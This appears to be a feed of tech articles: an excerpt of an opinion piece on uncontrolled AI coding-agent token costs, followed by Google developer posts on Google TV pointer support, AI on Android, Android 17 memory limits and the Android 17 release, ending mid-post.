And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

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The OpenAI Models That Hacked Hugging Face Were ‘Active on the Internet’ for Days

Sat, 25 Jul 2026 12:43:14 +0200

Plus: Russian hackers are trying to steal US nuclear scientists’ emails, the State Department bans known scammers from entering the United States, and more.

Increasing app discovery and engagement on Google TV

Sat, 25 Jul 2026 10:15:47 +0200

Posted by Paul Lammertsma, Developer Relations Engineer

With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.

Drive discovery and engagement with Gemini

Last year, we brought our AI voice assistant, Gemini, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.

Since launch, we’ve made improvements to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.

Declare support for pointing modality

The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.

Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:

1. Adapt your TV app UI Library

You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.

Hover state: Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.
Scrollable containers: Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.
Cursor clicks: Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).

2. Test pointing interactions with a mouse today

To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.

3. Declare TV app support for pointer remotes on Google Play

Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.

Within your AndroidManifest.xml, declare the meta-data tag, android.software.leanback.supports_touch. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.

AndroidManifest.xml

...

Tips:

The android.software.leanback feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.
The new software attribute of android.software.leanback.supports_touch declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).
If you haven't already, now is the time to adopt Jetpack Compose. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.

Onboard the Engage SDK

The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.

Resumption: Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.
Entitlements: The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.
Recommendations: The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.

It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to goo.gle/engage-tv to learn more.

We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.

Explore this announcement and all Google I/O 2026 updates on io.google.

Top AI on Android updates for building intelligent experiences from Google I/O ‘26

Sat, 25 Jul 2026 10:15:43 +0200

Posted by Jingyu Shi, Staff Developer Relations Engineer

At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here:

1. Putting your apps at the center of the intelligence system

The Android OS already enables agents like Gemini to complete task automation, where it can navigate an app on the users behalf.

AppFunctions (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview.

Android MCP: AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.

Streamlined Development: You can leverage the new skill to easily generate AppFunctions within your codebase.

Exploration and Testing: We’ve released a new test agent that allows you to experiment and debug your AppFunctions in a simulated agent environment.

Early Access Program: Want to be among the first apps to deploy app functions in production? Join our early access program today!

To see it in action, check out the live demo showcased during the What’s New in Android presentation.

2. On-Device Power with Gemini Nano 4 Preview

Last month, we launched Gemma 4, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the AIcore developer preview. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in ML Kit GenAI APIs:

Prototype to Production: Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI Prompt API to leverage Gemini Nano 4 that’s launching in flagship devices later this year.

Structured Output: The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features.

Prefix Caching: It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.

For highly customized or niche use cases, you can also use LiteRT-LM to bring your own fine-tuned small language model to Android.

3. Hybrid Inference & Agents

To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:

Firebase AI Logic Hybrid Inference: This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as PREFER_ON_DEVICE, PREFER_CLOUD, ONLY_ON_DEVICE, or ONLY_CLOUD, based on your need.

A2UI Jetpack Compose Renderer: The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.

ADK for Android: The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.

From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk:

Start Building Today

Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI hub. For the full breakdown of what’s new, check out the official AI on Android at Google I/O 2026 playlist.

We are excited to see what you build!

Prioritizing Memory Efficiency: Essential Steps for Android 17

Sat, 25 Jul 2026 10:15:41 +0200

Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement.

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution.

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

Set isShrinkResources = true and isMinifyEnabled = true.
Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase
Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

Open the Profiler tab in Android Studio
Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
Scan the analysis results for the yellow warning triangle ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.

Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

Retaining references to Fragments, Activities, or Views that are no longer in use.
Mismanaging Context references.
Failing to properly unregister observers, listeners, and receivers.
Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario	Compose-based example	View-based example
Leaking Context	Example: Passing LocalContext.current to a ViewModel Fix: Keep `Context` dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.	Example: Storing an `Activity` in a companion object or static variable. Fix: Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.
Leaking Listeners	Example: Using `DisposableEffect` to start a listener but leaving `onDispose` empty. Fix: Perform the unregistration and cleanup logic inside the `onDispose` block.	Example: Registering for SensorManager updates and forgetting to unregister. Fix: Manually call `unregisterListener()` in `onStop()` or `onDestroy()` lifecycle.
Leaking Views	Example: Holding a reference to a legacy `View` inside an `AndroidView` without a release strategy. Fix: Use the `release` block of the `AndroidView` composable to clean up the legacy `View`.	Example: Keeping a reference to a view binding object after the `Fragment` is destroyed. Fix: Set the binding variable to `null` inside the `onDestroyView`() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

